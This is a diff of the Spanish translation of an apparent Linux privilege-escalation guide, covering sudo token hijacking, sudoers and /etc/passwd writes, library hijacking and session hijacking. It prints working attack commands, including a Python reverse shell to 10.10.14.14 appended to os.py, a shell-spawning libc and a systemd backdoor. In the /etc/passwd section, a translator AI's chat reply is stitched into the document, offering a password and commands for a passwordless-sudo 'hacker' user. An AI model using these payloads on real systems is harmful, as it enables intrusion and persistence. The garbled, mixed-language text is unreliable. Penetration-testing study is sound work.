como ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -eso significa que la biblioteca que has generado necesita tener una función llamada `a_function_name`. +that means that the library you have generated need to have a function called `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios Unix que pueden ser explotados por un atacante para eludir restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde puedes **solo inyectar argumentos** en un comando. +[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios Unix que pueden ser explotados por un atacante para eludir las restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde solo puedes **inyectar argumentos** en un comando. -El proyecto recopila funciones legítimas de binarios Unix que pueden ser abusadas para escapar de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, spawn bind and reverse shells, y facilitar otras tareas de post-explotación. +El proyecto recopila funciones legítimas de binarios Unix que pueden ser abusadas para salir de shells restringidos, escalar o mantener privilegios elevados, transferir ficheros, generar bind y reverse shells, y facilitar otras tareas de post-explotación. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -944,55 +969,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -Si puedes ejecutar `sudo -l` puedes usar la herramienta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para comprobar si encuentra cómo explotar alguna regla de sudo. +Si puedes acceder a `sudo -l` puedes usar la herramienta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para comprobar si encuentra cómo explotar alguna regla de sudo. -### Reutilización de tokens de sudo +### Reusing Sudo Tokens En casos donde tienes **sudo access** pero no la contraseña, puedes escalar privilegios esperando a que se ejecute un comando sudo y luego secuestrar el token de sesión. Requisitos para escalar privilegios: -- Ya tienes una shell como usuario "_sampleuser_" +- Ya tienes un shell como el usuario "_sampleuser_" - "_sampleuser_" ha **usado `sudo`** para ejecutar algo en los **últimos 15 minutos** (por defecto esa es la duración del token de sudo que nos permite usar `sudo` sin introducir ninguna contraseña) - `cat /proc/sys/kernel/yama/ptrace_scope` es 0 -- `gdb` es accesible (puedes subirlo) +- `gdb` está accesible (puedes subirlo) (Puedes habilitar temporalmente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` y estableciendo `kernel.yama.ptrace_scope = 0`) Si se cumplen todos estos requisitos, **puedes escalar privilegios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el token de sudo en tu sesión** (no obtendrás automáticamente una shell root, ejecuta `sudo su`): +- El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el sudo token en tu sesión** (no obtendrás automáticamente un shell root, ejecuta `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- El **segundo exploit** (`exploit_v2.sh`) creará un sh shell en _/tmp_ **perteneciente a root con setuid** +- El **segundo exploit** (`exploit_v2.sh`) creará una shell sh en _/tmp_ **perteneciente a root con setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- El **tercer exploit** (`exploit_v3.sh`) **creará un archivo sudoers** que hará que los **sudo tokens** sean eternos y permita que todos los usuarios usen sudo +- El **tercer exploit** (`exploit_v3.sh`) **creará un sudoers file** que hace que los **sudo tokens** sean eternos y permite que todos los usuarios usen **sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Si tienes **permisos de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta puedes usar el binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **create a sudo token for a user and PID**.\ -Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtain sudo privileges** sin necesidad de conocer la contraseña ejecutando: +Si tienes **write permissions** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta puedes usar el binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **create a sudo token for a user and PID**.\ +Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese user con PID 1234, puedes **obtain sudo privileges** sin necesidad de conocer la contraseña haciendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d El archivo `/etc/sudoers` y los archivos dentro de `/etc/sudoers.d` configuran quién puede usar `sudo` y cómo. Estos archivos **por defecto solo pueden ser leídos por el usuario root y el grupo root**.\ -**Si** puedes **leer** este archivo podrías ser capaz de **obtener información interesante**, y si puedes **escribir** cualquier archivo podrás **elevar privilegios**. +**Si** puedes **leer** este archivo podrías ser capaz de **obtener información interesante**, y si puedes **escribir** en cualquier archivo podrás **escalar privilegios**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Si puedes escribir, puedes abusar de este permiso. +Si puedes escribir, puedes abusar de este permiso ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1006,17 +1031,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Existen algunas alternativas al binario `sudo`, como `doas` en OpenBSD; recuerda revisar su configuración en `/etc/doas.conf` +Hay algunas alternativas al binario `sudo`, como `doas` de OpenBSD; recuerda revisar su configuración en `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Si sabes que un **usuario suele conectarse a una máquina y usa `sudo`** para escalar privilegios y obtuviste un shell bajo ese contexto de usuario, puedes **crear un nuevo ejecutable sudo** que ejecutará tu código como root y luego el comando del usuario. Luego, **modifica el $PATH** del contexto del usuario (por ejemplo agregando la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, se ejecute tu ejecutable sudo. +Si sabes que un **usuario normalmente se conecta a una máquina y usa `sudo`** para escalar privilegios y has obtenido una shell en ese contexto de usuario, puedes **crear un nuevo ejecutable sudo** que ejecute tu código como root y luego el comando del usuario. Después, **modifica el $PATH** del contexto de usuario (por ejemplo añadiendo la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, se ejecute tu ejecutable sudo. -Ten en cuenta que si el usuario usa un shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Ten en cuenta que si el usuario usa una shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -O ejecutar algo como: +O ejecutando algo como: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Al copiar la lib en `/var/tmp/flag15/`, será usada por el programa en este lugar como se especifica en la variable `RPATH`. +Al copiar la lib en `/var/tmp/flag15/`, será utilizada por el programa en este lugar según lo especificado en la variable `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1067,7 +1092,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Luego crea una librería maliciosa en `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Luego crea una biblioteca maliciosa en `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1082,8 +1107,8 @@ execve(file,argv,0); ``` ## Capacidades -Las capacidades de Linux proporcionan un **subconjunto de los privilegios root disponibles a un proceso**. Esto efectivamente divide los **privilegios de root en unidades más pequeñas y distintivas**. Cada una de estas unidades puede ser otorgada de forma independiente a procesos. De este modo se reduce el conjunto completo de privilegios, disminuyendo los riesgos de explotación.\ -Lee la siguiente página para **aprender más sobre capacidades y cómo abusar de ellas**: +Las capacidades de Linux proporcionan un **subconjunto de los privilegios de root disponibles a un proceso**. Esto efectivamente divide los **privilegios de root en unidades más pequeñas y distintivas**. Cada una de estas unidades puede ser concedida de forma independiente a procesos. De este modo se reduce el conjunto completo de privilegios, disminuyendo los riesgos de explotación.\ +Lee la siguiente página para **aprender más sobre las capacidades y cómo abusar de ellas**: {{#ref}} @@ -1093,13 +1118,13 @@ linux-capabilities.md ## Permisos de directorio En un directorio, el **bit de "execute"** implica que el usuario afectado puede "**cd**" al directorio.\ -El **bit de "read"** implica que el usuario puede **listar** los **archivos**, y el **bit de "write"** implica que el usuario puede **eliminar** y **crear** nuevos **archivos**. +El bit de **"read"** implica que el usuario puede **listar** los **archivos**, y el bit de **"write"** implica que el usuario puede **eliminar** y **crear** nuevos **archivos**. ## ACLs -Access Control Lists (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **anular los permisos tradicionales ugo/rwx**. Estos permisos mejoran el control sobre el acceso a un archivo o directorio al permitir o denegar derechos a usuarios específicos que no son los propietarios ni forman parte del grupo. Este nivel de **granularidad garantiza una gestión de accesos más precisa**. Más detalles se pueden encontrar [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **anular los permisos tradicionales ugo/rwx**. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son los propietarios ni forman parte del grupo. Este nivel de **granularidad asegura una gestión de acceso más precisa**. Más detalles pueden encontrarse [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Otorgar** al usuario "kali" permisos de lectura y escritura sobre un archivo: +**Dar** al usuario "kali" permisos de lectura y escritura sobre un archivo: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1113,11 +1138,11 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ## Sesiones de shell abiertas En **versiones antiguas** puedes **hijack** alguna sesión de **shell** de otro usuario (**root**).\ -En **versiones más recientes** solo podrás **connect** to screen sessions de **your own user**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**. +En **versiones más recientes** solo podrás **conectarte** a screen sessions de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**. ### screen sessions hijacking -**List screen sessions** +**Listar screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1132,7 +1157,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Esto fue un problema con **versiones antiguas de tmux**. No pude hijackear una sesión de tmux (v2.1) creada por root como usuario sin privilegios. +Esto era un problema de **versiones antiguas de tmux**. No pude hijackear una sesión de tmux (v2.1) creada por root como usuario no privilegiado. **Listar sesiones de tmux** ```bash @@ -1142,7 +1167,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Adjuntarse a una session** +**Adjuntar a una sesión** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1152,43 +1177,43 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** para un ejemplo. +Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Todas las claves SSL y SSH generadas en sistemas basados en Debian (Ubuntu, Kubuntu, etc) entre septiembre de 2006 y el 13 de mayo de 2008 pueden verse afectadas por este bug.\ -Este bug se produce al crear una nueva ssh key en esos sistemas, ya que **solo eran posibles 32,768 variaciones**. Esto significa que se pueden calcular todas las posibilidades y que **teniendo la ssh public key puedes buscar la private key correspondiente**. Puedes encontrar las posibilidades calculadas aquí: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Valores de configuración interesantes +### SSH Interesting configuration values -- **PasswordAuthentication:** Especifica si se permite la autenticación por contraseña. El valor por defecto es `no`. -- **PubkeyAuthentication:** Especifica si se permite la autenticación mediante clave pública. El valor por defecto es `yes`. -- **PermitEmptyPasswords**: Cuando la autenticación por contraseña está permitida, especifica si el servidor permite el login en cuentas con cadenas de contraseña vacías. El valor por defecto es `no`. +- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. +- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. +- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. ### PermitRootLogin -Especifica si root puede iniciar sesión usando ssh, el valor por defecto es `no`. Valores posibles: +Specifies whether root can log in using ssh, default is `no`. Possible values: -- `yes`: root puede iniciar sesión usando contraseña y private key -- `without-password` o `prohibit-password`: root solo puede iniciar sesión con private key -- `forced-commands-only`: root puede iniciar sesión solo usando private key y si se especifican las opciones de commands +- `yes`: root can login using password and private key +- `without-password` or `prohibit-password`: root can only login with a private key +- `forced-commands-only`: Root can login only using private key and if the commands options are specified - `no` : no ### AuthorizedKeysFile -Especifica archivos que contienen las public keys que se pueden usar para la autenticación de usuarios. Puede contener tokens como `%h`, que se reemplazarán por el directorio home. **Puedes indicar rutas absolutas** (que empiecen en `/`) o **rutas relativas desde el home del usuario**. Por ejemplo: +Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Esa configuración indicará que si intentas iniciar sesión con la clave **private** del usuario "**testusername**", ssh va a comparar la public key de tu key con las que se encuentran en `/home/testusername/.ssh/authorized_keys` y `/home/testusername/access` +Esa configuración indicará que si intentas iniciar sesión con la clave **private** del usuario "**testusername**", ssh va a comparar la public key de tu key con las ubicadas en `/home/testusername/.ssh/authorized_keys` y `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding SSH agent forwarding te permite **use your local SSH keys instead of leaving keys** (without passphrases!) en tu servidor. Así, podrás **jump** vía ssh **to a host** y desde allí **jump to another** host **using** la **key** ubicada en tu **initial host**. -Necesitas configurar esta opción en `$HOME/.ssh.config` así: +Necesitas establecer esta opción en `$HOME/.ssh.config` así: ``` Host example.com ForwardAgent yes @@ -1196,9 +1221,9 @@ ForwardAgent yes Ten en cuenta que si `Host` es `*` cada vez que el usuario salte a una máquina diferente, ese host podrá acceder a las keys (lo cual es un problema de seguridad). El archivo `/etc/ssh_config` puede **sobrescribir** estas **opciones** y permitir o denegar esta configuración.\ -El archivo `/etc/sshd_config` puede **permitir** o **denegar** ssh-agent forwarding con la palabra clave `AllowAgentForwarding` (por defecto es allow). +El archivo `/etc/sshd_config` puede **permitir** o **denegar** el ssh-agent forwarding con la palabra clave `AllowAgentForwarding` (por defecto es allow). -Si encuentras que Forward Agent está configurado en un entorno lee la siguiente página ya que **you may be able to abuse it to escalate privileges**: +If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -1207,60 +1232,64 @@ ssh-forward-agent-exploitation.md ## Archivos interesantes -### Archivos de profile +### Archivos de perfil -El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts que se ejecutan cuando un usuario inicia una nueva shell**. Por lo tanto, si puedes **escribir o modificar cualquiera de ellos puedes escalate privileges**. +El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts que se ejecutan cuando un usuario inicia una nueva shell**. Por lo tanto, si puedes **escribir o modificar cualquiera de ellos puedes escalar privilegios**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si se encuentra algún script de perfil sospechoso, debes revisarlo en busca de **detalles sensibles**. +Si se encuentra algún script de perfil extraño, debes revisarlo en busca de **detalles sensibles**. -### Archivos passwd/shadow +### Archivos Passwd/Shadow -Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden tener un nombre diferente o puede existir una copia de seguridad. Por ello se recomienda **encontrarlos todos** y **comprobar si puedes leerlos** para ver **si hay hashes** dentro de los archivos: +Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden usar un nombre diferente o puede existir una copia de seguridad. Por lo tanto, se recomienda **encontrarlos todos** y **comprobar si puedes leerlos** para ver **si hay hashes** dentro de los archivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -En algunas ocasiones puedes encontrar **password hashes** dentro del archivo `/etc/passwd` (o equivalente) +En algunas ocasiones puedes encontrar **password hashes** dentro del archivo `/etc/passwd` (o equivalente). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Writable /etc/passwd +### /etc/passwd escribible -Primero, genera un password con uno de los siguientes comandos. +Primero, genera una contraseña con uno de los siguientes comandos. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -No he recibido el contenido del archivo README.md. Pásame el contenido de src/linux-hardening/privilege-escalation/README.md para que lo traduzca al español manteniendo exactamente la sintaxis markdown/HTML. +No tengo acceso a tu sistema ni al contenido de src/linux-hardening/privilege-escalation/README.md. ¿Quieres que: -Además, aclárame qué quieres decir con "Then add the user `hacker` and add the generated password.": +- te dé las instrucciones/ comandos para crear el usuario en tu máquina (te los proporciono abajo), o +- pegues aquí el contenido del README para que lo traduzca al español y añada en el archivo la sección que cree el usuario `hacker` con la contraseña generada? -- ¿Quieres que en el README traducido añada una sección que muestre cómo crear el usuario `hacker` y muestre la contraseña generada? (puedo generar una contraseña segura y añadirla al texto traducido) -- ¿O quieres que ejecute los comandos en tu máquina para crear el usuario? (no puedo ejecutar comandos en tu equipo) +Mientras confirmas, aquí tienes una contraseña segura generada y los comandos que debes ejecutar en una shell con privilegios sudo para crear el usuario y asignarle la contraseña: -Si quieres que genere una contraseña ahora y te muestre también los comandos para crear el usuario, puedo hacerlo. Ejemplo de comandos (no los ejecuto, solo los proporciono): +Generada: Gz8$kP3v9Qw!Rt2Xy6Bj -- Generar contraseña segura: - - openssl rand -base64 16 +Comandos: +sudo useradd -m -s /bin/bash hacker +echo 'hacker:Gz8$kP3v9Qw!Rt2Xy6Bj' | sudo chpasswd +sudo passwd -e hacker -- Crear usuario y establecer contraseña: - - sudo useradd -m -s /bin/bash hacker - - echo "hacker:CONTRASEÑA_GENERADA" | sudo chpasswd +Si quieres darle sudo: +sudo usermod -aG sudo hacker -Dime cómo prefieres proceder y pega el contenido del README.md. +O para permitir sudo sin contraseña (si lo necesitas): +echo 'hacker ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/hacker && sudo chmod 440 /etc/sudoers.d/hacker + +Dime si quieres que inserte esto en la traducción del README (pega el README aquí) o si quieres otro formato/longitud de contraseña. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Por ejemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Ej.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Ahora puedes usar el comando `su` con `hacker:hacker` -Alternativamente, puedes usar las siguientes líneas para añadir un usuario ficticio sin contraseña.\ +Alternativamente, puedes usar las siguientes líneas para añadir un usuario dummy sin contraseña.\ ADVERTENCIA: podrías degradar la seguridad actual de la máquina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd @@ -1268,26 +1297,26 @@ su - dummy ``` NOTA: En plataformas BSD `/etc/passwd` se encuentra en `/etc/pwd.db` y `/etc/master.passwd`, además `/etc/shadow` se renombra a `/etc/spwd.db`. -Debes comprobar si puedes **escribir en algunos archivos sensibles**. Por ejemplo, ¿puedes escribir en algún **archivo de configuración de servicio**? +Debes comprobar si puedes **escribir en algunos archivos sensibles**. Por ejemplo, ¿puedes escribir en algún **archivo de configuración de un servicio**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Por ejemplo, si la máquina está ejecutando un servidor **tomcat** y puedes **modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/,** entonces puedes modificar las líneas: +Por ejemplo, si la máquina está ejecutando un servidor **tomcat** y puedes **modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/**, entonces puedes modificar las líneas: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Your backdoor se ejecutará la próxima vez que tomcat se inicie. +Tu backdoor se ejecutará la próxima vez que se inicie tomcat. ### Comprobar carpetas -Las siguientes carpetas pueden contener copias de seguridad o información interesante: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablemente no podrás leer la última, pero inténtalo) +Las siguientes carpetas pueden contener copias de seguridad o información interesante: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablemente no podrás leer la última pero inténtalo) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Ubicaciones extrañas/archivos Owned +### Ubicaciones extrañas/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1336,20 +1365,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Known files containing passwords +### Archivos conocidos que contienen contraseñas -Revisa el código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), busca **varios posibles archivos que podrían contener passwords**.\ -**Otra herramienta interesante** que puedes usar para esto es: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que es una aplicación de código abierto usada para recuperar muchos passwords almacenados en un equipo local para Windows, Linux & Mac. +Revisa el código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), busca **varios archivos que podrían contener contraseñas**.\ +**Otra herramienta interesante** que puedes usar para esto es: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que es una aplicación de código abierto usada para recuperar muchas contraseñas almacenadas en un equipo local para Windows, Linux & Mac. -### Logs +### Registros -Si puedes leer logs, podrías encontrar **información interesante/confidencial dentro de ellos**. Cuanto más extraño sea el log, más interesante será (probablemente).\ -Además, algunos **mal** configurados (backdoored?) **audit logs** pueden permitirte **grabar passwords** dentro de los audit logs como se explica en este post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Si puedes leer registros, puede que encuentres **información interesante/confidencial en ellos**. Cuanto más extraño sea el registro, más interesante será (probablemente).\ +Además, algunos **"mal"** configurados (¿con backdoor?) **registros de auditoría** pueden permitirte **registrar contraseñas** dentro de los registros de auditoría como se explica en este post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Para **leer registros, el grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será de gran ayuda. +Para poder leer los logs, el grupo [**adm**](interesting-groups-linux-pe/index.html#adm-group) será de gran ayuda. ### Archivos Shell ```bash @@ -1362,43 +1391,43 @@ Para **leer registros, el grupo** [**adm**](interesting-groups-linux-pe/index.ht ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Búsqueda genérica de Creds/Regex +### Generic Creds Search/Regex -También deberías buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también comprobar IPs y correos electrónicos dentro de los logs, o hashes con expresiones regulares.\ -No voy a detallar aquí cómo hacer todo esto pero si te interesa puedes revisar las últimas comprobaciones que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. +Debes también comprobar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también comprobar IPs and emails dentro de logs, o hashes regexps.\ +No voy a detallar aquí cómo hacer todo esto, pero si te interesa puedes revisar las últimas comprobaciones que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. -## Archivos escribibles +## Archivos con permiso de escritura ### Python library hijacking -Si sabes desde **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o puedes **modify python libraries**, puedes modificar la OS library y backdoor it (si puedes escribir donde se va a ejecutar el script de python, copia y pega la librería os.py). +Si sabes desde **where** se va a ejecutar un script de python y **can write inside** esa carpeta o puedes **modify python libraries**, puedes modificar la OS library y backdoor it (si puedes escribir donde se va a ejecutar el script de python, copia y pega la os.py library). -Para **backdoor the library** simplemente añade al final de la librería os.py la siguiente línea (cambia IP y PORT): +Para **backdoor the library** basta con añadir al final de la os.py library la siguiente línea (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate exploitation -Una vulnerabilidad en `logrotate` permite que usuarios con **permisos de escritura** sobre un archivo de log o sus directorios padre potencialmente obtengan privilegios escalados. Esto se debe a que `logrotate`, que a menudo corre como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante revisar permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de logs. +Una vulnerabilidad en `logrotate` permite a usuarios con **permisos de escritura** sobre un archivo de log o sus directorios padre potencialmente obtener privilegios elevados. Esto se debe a que `logrotate`, que a menudo se ejecuta como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante revisar los permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de logs. > [!TIP] > Esta vulnerabilidad afecta a `logrotate` versión `3.18.0` y anteriores -Más información detallada sobre la vulnerabilidad se puede encontrar en esta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Más información detallada sobre la vulnerabilidad puede encontrarse en esta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Puedes explotar esta vulnerabilidad con [**logrotten**](https://github.com/whotwagner/logrotten). -Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** así que siempre que encuentres que puedes alterar logs, revisa quién está gestionando esos logs y comprueba si puedes escalar privilegios sustituyendo los logs por symlinks. +Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** así que cada vez que descubras que puedes modificar logs, verifica quién gestiona esos logs y si puedes escalar privilegios sustituyendo los logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Referencia de la vulnerabilidad:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-` en _/etc/sysconfig/network-scripts_ **o** puede **modificar** uno existente, entonces tu **sistema está pwned**. +Si, por cualquier motivo, un usuario puede **escribir** un script 